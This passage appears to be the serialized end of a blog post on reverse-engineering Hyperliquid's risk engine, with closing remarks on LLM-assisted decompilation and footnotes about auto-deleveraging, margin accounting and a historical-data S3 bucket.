\"what\".",{"type":25,"tag":34,"props":166523,"children":166524},{},[166525],{"type":31,"value":166526},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":25,"tag":34,"props":166528,"children":166529},{},[166530],{"type":31,"value":166531},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":25,"tag":166533,"props":166534,"children":166535},"report-footnotes",{},[166536],{"type":25,"tag":6944,"props":166537,"children":166538},{},[166539,166544,166571,166576,166581],{"type":25,"tag":6948,"props":166540,"children":166541},{},[166542],{"type":31,"value":166543},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":25,"tag":6948,"props":166545,"children":166546},{},[166547,166553,166555,166561,166563,166569],{"type":25,"tag":115,"props":166548,"children":166550},{"className":166549},[],[166551],{"type":31,"value":166552},"compute_user_margin_and_shortfall",{"type":31,"value":166554}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":25,"tag":115,"props":166556,"children":166558},{"className":166557},[],[166559],{"type":31,"value":166560},"0x748",{"type":31,"value":166562}," in the abstract expressions of ",{"type":25,"tag":115,"props":166564,"children":166566},{"className":166565},[],[166567],{"type":31,"value":166568},"btree_cursor",{"type":31,"value":166570},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":25,"tag":6948,"props":166572,"children":166573},{},[166574],{"type":31,"value":166575},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":25,"tag":6948,"props":166577,"children":166578},{},[166579],{"type":31,"value":166580},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":25,"tag":6948,"props":166582,"children":166583},{},[166584,166586,166592],{"type":31,"value":166585},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":25,"tag":115,"props":166587,"children":166589},{"className":166588},[],[166590],{"type":31,"value":166591},"s3://hl-mainnet-node-data/explorer_blocks",{"type":31,"value":80},{"title":7,"searchDepth":226,"depth":226,"links":166594},[166595,166596,166597,166598,166599,166602,166603,166604,166607,166608,166611,166615],{"id":159986,"depth":226,"text":159989},{"id":159979,"depth":226,"text":160007},{"id":160064,"depth":226,"text":160067},{"id":160345,"depth":226,"text":160348},{"id":160379,"depth":226,"text":160382,"children":166600},[166601],{"id":160518,"depth":278,"text":160521},{"id":161297,"depth":226,"text":161300},{"id":161393,"depth":226,"text":161396},{"id":161611,"depth":226,"text":161614,"children":166605},[166606],{"id":161856,"depth":278,"text":161859},{"id":161916,"depth":226,"text":161919},{"id":166282,"depth":226,"text":166285,"children":166609},[166610],{"id":166314,"depth":278,"text":166317},{"id":166373,"depth":226,"text":166376,"children":166612},[166613,166614],{"id":166379,"depth":278,"text":166382},{"id":166398,"depth":278,"text":161953},{"id":166428,"depth":226,"text":166431,"children":166616},[166617,166618,166619,166620],{"id":166439,"depth":278,"text":166442},{"id":166461,"depth":278,"text":166464},{"id":166477,"depth":278,"text":166480},{"id":166501,"depth":278,"text":166504},"content:blog:2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine",1790954630604]